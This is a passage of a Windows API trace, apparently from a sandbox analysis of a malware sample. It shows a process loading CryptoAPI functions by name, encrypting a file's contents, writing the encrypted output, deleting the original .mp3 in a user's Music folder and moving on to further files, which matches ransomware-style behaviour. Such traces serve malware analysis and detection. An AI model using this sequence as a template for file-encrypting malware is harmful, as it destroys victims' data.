| out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6928, lpOverlapped=0x0) returned 1 [0063.947] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.951] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.951] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.951] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.951] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.953] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.953] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.953] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.953] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.953] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.953] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.953] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.953] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.953] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.953] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629620, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629620*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.953] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.953] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.954] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.954] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.954] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.954] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.954] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.954] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.955] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.956] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.956] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x16928, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16930) returned 1 [0063.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.956] CharLowerBuffW (in: lpsz="byte[92465]", cchLength=0xb | out: lpsz="byte[92465]") returned 0xb [0063.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.958] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.958] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.958] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.958] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.958] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.958] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e7448*, pdwDataLen=0x130e618*=0x16928, dwBufLen=0x16930 | out: pbData=0x17e7448*, pdwDataLen=0x130e618*=0x16930) returned 1 [0063.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.959] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.959] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.959] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.959] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.966] WriteFile (in: hFile=0x3bc, lpBuffer=0x1893948*, nNumberOfBytesToWrite=0x16930, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1893948*, lpNumberOfBytesWritten=0x130f01c*=0x16930, lpOverlapped=0x0) returned 1 [0063.968] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.968] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.968] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.968] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.968] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.968] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.968] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.968] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.968] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0063.969] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.969] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.969] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.969] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.969] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.969] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.969] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.970] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.970] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.970] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.970] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.970] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.970] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.970] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.970] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.970] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.970] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.971] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.971] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.971] CryptReleaseContext (hProv=0x17abcc0, dwFlags=0x0) returned 1 [0063.971] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.971] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.971] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.971] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.971] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.971] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.971] CloseHandle (hObject=0x2ac) returned 1 [0063.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.972] CloseHandle (hObject=0x3bc) returned 1 [0063.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0063.974] TranslateMessage (lpMsg=0x130f164) returned 0 [0063.974] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0063.974] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0063.978] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0063.978] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0063.978] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.981] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.981] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", lpFilePart=0x0) returned 0x45 [0063.981] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\03desaznjrjnd.mp3")) returned 0x20 [0063.981] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0063.981] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\03desaznjrjnd.mp3")) returned 1 [0063.984] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.985] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0063.985] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.985] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 